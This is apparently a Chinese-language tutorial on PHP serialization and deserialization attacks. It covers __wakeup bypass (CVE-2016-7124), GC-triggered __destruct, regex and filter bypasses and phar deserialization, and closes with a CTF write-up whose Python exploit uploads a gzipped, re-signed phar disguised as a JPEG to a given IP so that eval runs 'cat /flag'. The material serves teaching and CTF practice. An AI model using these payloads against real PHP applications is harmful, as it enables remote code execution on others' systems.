一、簡介

序列化其實就是將數據轉化成一種可逆的數據結構,自然,逆向的過程就叫做反序列化。簡單來說就是我在一個地方構造了一個類,但我要在另一個地方去使用它,那怎么傳過去呢?于是就想到了序列化這種東西,將對象先序列化為一個字符串(數據),后續需要使用的時候再進行反序列化即可得到要使用的對象,十分方便。

來看看官方手冊(https://www.php.net/manual/zh/language.oop5.serialization.php)怎么說:

所有php里面的值都可以使用函數serialize()(https://www.php.net/manual/zh/function.serialize.php)來返回一個包含字節流的字符串來表示。unserialize()(https://www.php.net/manual/zh/function.unserialize.php)函數能夠重新把字符串變回php原來的值。 序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。

為了能夠unserialize()一個對象,這個對象的類必須已經定義過。如果序列化類A的一個對象,將會返回一個跟類A相關,而且包含了對象所有變量值的字符串。 如果要想在另外一個文件中反序列化一個對象,這個對象的類必須在反序列化之前定義,可以通過包含一個定義該類的文件或使用函數spl_autoload_register()(https://www.php.net/manual/zh/function.spl-autoload-register.php)來實現。

php 將數據序列化和反序列化會用到兩個函數:

serialize() 將對象格式化成有序的字符串。

unserialize() 將字符串還原成原來的對象。

序列化的目的是方便數據的傳輸和存儲,在PHP中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

注意:php中創建一個對象和反序列化得到一個對象是有所不同的,例如創建一個對象一般會優先調用 __construct() 方法 ,而反序列化得到一個對象若 存在 __wakeup() 方法則會優先調用它而不去執行 __construct() 。

二、常見序列化格式介紹

基本上每個編程語言都有各自的序列化和反序列化方式,格式也各不相同

像有:

  • 二進制格式
  • 字節數組
  • json字符串
  • xml字符串
  • python的opCode碼 參考(
  • https://xz.aliyun.com/t/7436

簡單例子

$arr = array('aa', 'bb', 'cc' => 'dd');$serarr = serialize($arr);echo $serarr;var_dump($arr);

輸出

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}array(3) {    [0]=> string(2) "aa"    [1]=> string(2) "bb"    ["cc"]=> string(2) "dd"}

輸出的這一串序列表示的是什么呢?

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}

a:array代表是數組,后面的3說明有三個屬性。

i:代表是整型數據int,后面的0是數組下標(O代表Object,也是類)。

s:代表是字符串,后面的2是因為aa長度為2,是字符串長度值。

后面類推。

同時要注意序列化后只有成員變量,沒有成員函數。

注意如果變量前是protected,則會在變量名前加上\x00*\x00,private則會在變量名前加上\x00類名\x00,輸出時一般需要url編碼,如下:

class test {    protected $name;    private $pass;    function __construct($name, $pass) {        $this->name = $name;        $this->pass = $pass;    }}$a = new test('pankas', '123');$seria = serialize($a);echo $seria.'
';echo urlencode($seria);

直接輸出輸出則會導致不可見字符\x00的丟失。

O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D

三、反序列化常用魔術方法

詳細用法請參考 官方文檔(https://www.php.net/manual/zh/language.oop5.magic.php

__construct()//類的構造函數,創建類對象時調用 __destruct()//類的析構函數,對象銷毀時調用 __call()//在對象中調用一個不可訪問方法時調用 __callStatic()//用靜態方式中調用一個不可訪問方法時調用 __get()//獲得一個類的成員變量時調用 __set()//設置一個類的成員變量時調用 __isset()//當對不可訪問屬性調用isset()或empty()時調用 __unset()//當對不可訪問屬性調用unset()時被調用。 __sleep()//執行serialize()時,先會調用這個函數 __wakeup()//執行unserialize()時,先會調用這個函數,執行后不會執行__construct()函數 __toString()//類被當成字符串時的回應方法 __invoke()//調用函數的方式調用一個對象時的回應方法 __set_state()//調用var_export()導出類時,此靜態方法會被調用。 __clone()//當對象復制完成時調用 __autoload()//嘗試加載未定義的類 __debugInfo()//打印所需調試信息

四、各種繞過姿勢

繞過__wakeup(CVE-2016-7124)

wakeup()魔術方法在執行unserialize()時,會優先調用這個函數,而不會執行`construct()` 函數。

繞過方法:序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行。

如:

class test{    public $a;    public function __construct(){        $this->a = 'abc';    }    public function __wakeup(){        $this->a='def';    }    public function  __destruct(){        echo $this->a;    }}

其序列化后為 O:4:"test":1:{s:1:"a";s:3:"abc";}

執行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

得到結果為 def ,發現優先執行了 __wakeup() ,并沒有執行 __construct()。

當我們把對象的屬性個數改大時,改成 O:4:"test":2:{s:1:"a";s:3:"abc";} ,由原來的1個屬性改為2個,但test 類真實的屬性只有一個,這樣就能繞過 __wakeup() 按沒有這個魔術方法一樣去執行其他相應的魔術方法。

執行反序列化 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');

得到結果為 abc , 發現優先執行了 __construct() ,并沒有執行 __wakeup()。

__destruct()相關

__destruct是PHP對象的一個魔術方法,稱為析構函數,顧名思義這是當該對象被銷毀的時候自動執行的一個函數。其中以下情況會觸發__destruct。

  • 主動調用unset($obj)
  • 主動調用$obj = NULL
  • 程序自動結束

除此之外,PHP還擁有垃圾回收Garbage collection即我們常說的GC機制。

PHP中GC使用引用計數和回收周期自動管理內存對象,那么這時候當我們的對象變成了“垃圾”,就會被GC機制自動回收掉,回收過程中,就會調用函數的__destruct。

剛才我們提到了引用計數,其實當一個對象沒有任何引用的時候,則會被視為“垃圾”,即

$a = new test();

test 對象被 變量 a 引用, 所以該對象不是“垃圾”,而如果是這樣

new test();

或這樣

$a = new test();$a = 1;

這樣在 test 在沒有被引用或在失去引用時便會被當作“垃圾”進行回收。

如:

class test{function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy..."; }}new test('1');$a = new test('2');$a = new test('3');echo "————————————
";

輸出

1Destroy...2Destroy...————————————3Destroy...

這里是當a第二次賦值時,test('2')失去引用,執行__destruct,然后執行echo,當程序完了后test('3')銷毀,執行它的__destruct。

舉個栗子:

class test {    function __destruct(){        echo 'success!!';    }}if(isset($_REQUEST['input'])) {    $a = unserialize($_REQUEST['input']);    throw new Exception('lose');}

這里我們要求輸出 success!! ,但執行反序列化后得到的對象有了引用,給了 a 變量,后面程序接著就拋出一個異常,非正常結束,導致未正常完成 GC 機制,即沒有執行 __destruct 。

直接構造反序列化 test 類得到:

所以我們要反序列化手動去 “銷毀” 創造的對象。這里我們可以利用數組來完成。構造:

class test {}$a = serialize(array(new test, null));echo $a.'
';$a = str_replace(':1', ':0', $a);//將序列化的數組下標為0的元素給為nullecho $a;

得到

a:2:{i:0;O:4:"test":0:{}i:1;N;}a:2:{i:0;O:4:"test":0:{}i:0;N;}//最終payload

傳入,成功得到 success!!

我們序列化一個數組對象,考慮反序列化本字符串,因為反序列化的過程是順序執行的,所以到第一個屬性時,會將Array[0]設置為對象,同時我們又將Array[0]設置為null,這樣前面的test對象便丟失了引用,就會被GC所捕獲,就可以執行__destruct了。

繞過正則

如preg_match('/^O:\d+/')匹配序列化字符串是否是對象字符串開頭。

繞過方法

  • 利用加號繞過(注意在url里傳參時+要編碼為%2B)。
  • 利用數組對象繞過,如 serialize(array($a)); a為要反序列化的對象(序列化結果開頭是a,不影響作為數組元素的$a的析構)。
class test{    public $a;    public function __construct(){        $this->a = 'abc';    }    public function  __destruct(){        echo $this->a.PHP_EOL;    }} function match($data){    if (preg_match('/^O:\d+/',$data)){        die('nonono!');    }else{        return $data;    }}$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// +號繞過$b = str_replace('O:4','O:+4', $a);unserialize(match($b));// 將對象放入數組繞過 serialize(array($a));unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

利用引用繞過

如下,要求輸出 you success,但構造的序列化字符串中不能由 aaa

class test {    public $a;    public $b;    public function __construct(){        $this->a = 'aaa';    }    public function __destruct(){         if($this->a === $this->b) {            echo 'you success';        }    }}if(isset($_REQUEST['input'])) {    if(preg_match('/aaa/', $_REQUEST['input'])) {       die('nonono');    }    unserialize($_REQUEST['input']);}else {    highlight_file(__FILE__);}

可以利用引用進行繞過

class test {    public $a;    public $b;    public function __construct(){        $this->b = &$this->a;    }}$a = serialize(new test());echo $a;//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

構造引用使得 $b 和 $a 地址相同從而繞過檢測,達成要求。

16進制繞過字符的過濾

序列字符串中表示字符類型的s大寫時,會被當成16進制解析。

舉個栗子:

class test{    public $username;    public function __construct(){        $this->username = 'admin';    }    public function  __destruct(){        echo 'success';    }}function check($data){    if(preg_match('/username/', $data)){        echo("nonono!!!
");    }    else{        return $data;    }}// 未作處理前,會被waf攔截$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a);unserialize($a);// 將小s改為大S; 做處理后 \75是u的16進制, 成功繞過$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';$a = check($a);unserialize($a);

輸出

五、phar反序列化

前言

有關phar的基本介紹及利用方法我以前有過總結 , 參考鏈接(https://pankas.top/2022/04/28/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

同時應該重點關注官方文檔(https://www.php.net/manual/zh/book.phar.php)中有關 phar 的介紹 (一定要關注官方文檔,官方文檔yyds)

這里重點對我以前的總結進行補充。

生成phar

class TestObject {} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后綴名必須為phar$phar->startBuffering();$phar->setStub(""); //設置stub$o = new TestObject();$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();

ps:注意phar中存儲的對象反序列化之后會被phar對象的metadata屬性引用。

一些繞過方式

當環境限制了phar不能出現在前面的字符里。可以使用compress.bzip2://和compress.zlib://等繞過。

compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其它協議, 如 filter 過濾器。

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式驗證可以通過在文件頭部添加GIF89a繞過。

$phar->setStub(“GIF89a”.""); //設置stub//生成一個phar.phar,修改后綴名為phar.gif

過濾了__HALT_COMPILER();

參考 https://guokeya.github.io/post/uxwHLckwx (原理)

姿勢1:

**將phar文件進行gzip壓縮** ,使用壓縮后phar文件同樣也能反序列化 (常用)

linux下使用命令gzip phar.phar 生成。

姿勢2:

將phar的內容寫進壓縮包注釋中,也同樣能夠反序列化成功,壓縮為zip也會繞過
$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open('1.zip',ZipArchive::CREATE);$zip->addFromString('crispr.txt', 'file content goes here');$zip->setArchiveComment($phar_file);$zip->close();

phar 文件簽名修改

對于某些情況,我們需要修改phar文件中的內容而達到某些需求(比如要繞過__wakeup要修改屬性數量),而修改后的phar文件由于文件發生改變,所以須要修改簽名才能正常使用,官方文檔中是這么說:

Phar Signature format(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The signature formats supported at this time are MD5, SHA1, SHA256, SHA512, and OPENSSL.

用winhex或010-editor查看phar文件簽名類型(以上述代碼生成的phar文件為例)

以默認的sha1簽名為例:

from hashlib import sha1with open('phar.phar', 'rb') as file:    f = file.read()     # 修改內容后的phar文件,以二進制文件形式打開 s = f[:-28] # 獲取要簽名的數據(對于sha1簽名的phar文件,文件末尾28字節為簽名的格式)h = f[-8:] # 獲取簽名類型以及GBMB標識,各4個字節newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB) with open('newPhar.phar', 'wb') as file:    file.write(newf) # 寫入新文件

運行腳本得到的 newPhar.phar 就可以正常使用啦。

案例

題目來源:NSSCTF Round#4 Team-1zweb(revenge)

前面任意文件讀取拿到源碼就不說了,重點看它這個phar反序列化

index.php:

class LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct(){//__wakeup執行后__construct并不會執行        $this->ljt="ljt";        $this->dky="dky";        phpinfo();    }    public function __destruct(){        if($this->ljt==="Misc"&&$this->dky==="Re")            eval($this->cmd);    }    public function __wakeup(){//需要繞過__wakeup,更改序列化屬性個數即可繞過        $this->ljt="Re";        $this->dky="Misc";    }}$file=$_POST['file'];if(isset($_POST['file'])){    if (preg_match("/flag/i", $file)) {        die("nonono");    }    echo file_get_contents($file);}

upload.php:

if ($_FILES["file"]["error"] > 0){    echo "上傳異常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){        $content=file_get_contents($_FILES["file"]["tmp_name"]);        $pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub標識        if(gettype($pos)==="integer"){            echo "ltj一眼就發現了phar";        }else{            if (file_exists("./upload/" . $_FILES["file"]["name"])){                echo $_FILES["file"]["name"] . " 文件已經存在";            }else{                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");                fwrite($myfile, $content);                fclose($myfile);                echo "上傳成功 ./upload/".$_FILES["file"]["name"];            }        }    }else{        echo "dky不喜歡這個文件 .".$extension;    }}?>

分析源碼可知ban掉了 __HALT_COMPILER(); 標識,沒有這個是不認phar的,這個可以使用gzip壓縮進行繞過。

__wakeup 修改序列屬性個數即可繞過,注意修改完phar文件后還需重新簽名,用上文的腳本即可。

生成phar:

class LoveNss{    public $ljt;    public $dky;    public $cmd;    public function __construct($ljt, $dky, $cmd){        $this->ljt = $ljt;        $this->dky = $dky;        $this->cmd = $cmd;    }} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后綴名必須為phar$phar->startBuffering();$phar->setStub(""); //設置stub$o = new LoveNss("Misc", "Re", "cat /flag");$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要壓縮的文件//簽名自動計算$phar->stopBuffering();

修改簽名并上傳文件,訪問后觸發phar反序列化拿到flag。

exp:

import requestsfrom hashlib import sha1import gzipimport redef getPhar():    with open('phar.phar', 'rb') as file:        f = file.read()    s = f[:-28] # 獲取要簽名的數據(對于sha1簽名的phar文件,文件末尾28字節為簽名的格式)    s = s.replace(b'3:{', b'4:{')# 繞過__wakeup    h = f[-8:] # 獲取簽名類型以及GBMB標識,各4個字節    newf = s + sha1(s).digest() + h # 數據 + 簽名 + (類型 + GBMB)    return gzip.compress(newf)# 進行gzip壓縮 def upload(file):    burp0_url = "http://1.14.71.254:28403/upload.php"    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}    burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8\rContent-Disposition: form-data; name=\"file\"; filename=\"phar.jpg\"\rContent-Type: image/jpeg\r\r" + file + b"\r------WebKitFormBoundaryfXBfemuGHEVNBhN8\rContent-Disposition: form-data; name=\"submit\"\r\r\r------WebKitFormBoundaryfXBfemuGHEVNBhN8--\r"    # 注意數據類型為byte類型,應該file為byte類型,相同數據類型才能合并    requests.post(burp0_url, headers=burp0_headers, data=burp0_data) def getFlag():    burp0_url = "http://1.14.71.254:28403/"    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}    burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''}    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)    return re.findall('(NSSCTF\{.*?\})', res.text)[0] if __name__ == '__main__':    upload(getPhar())    print(getFlag())

運行得到flag。

ps:注意如果用burp代理抓包上傳gzip壓縮后的phar可能會有bug,burp會改變gzip數據,導致無法識別phar文件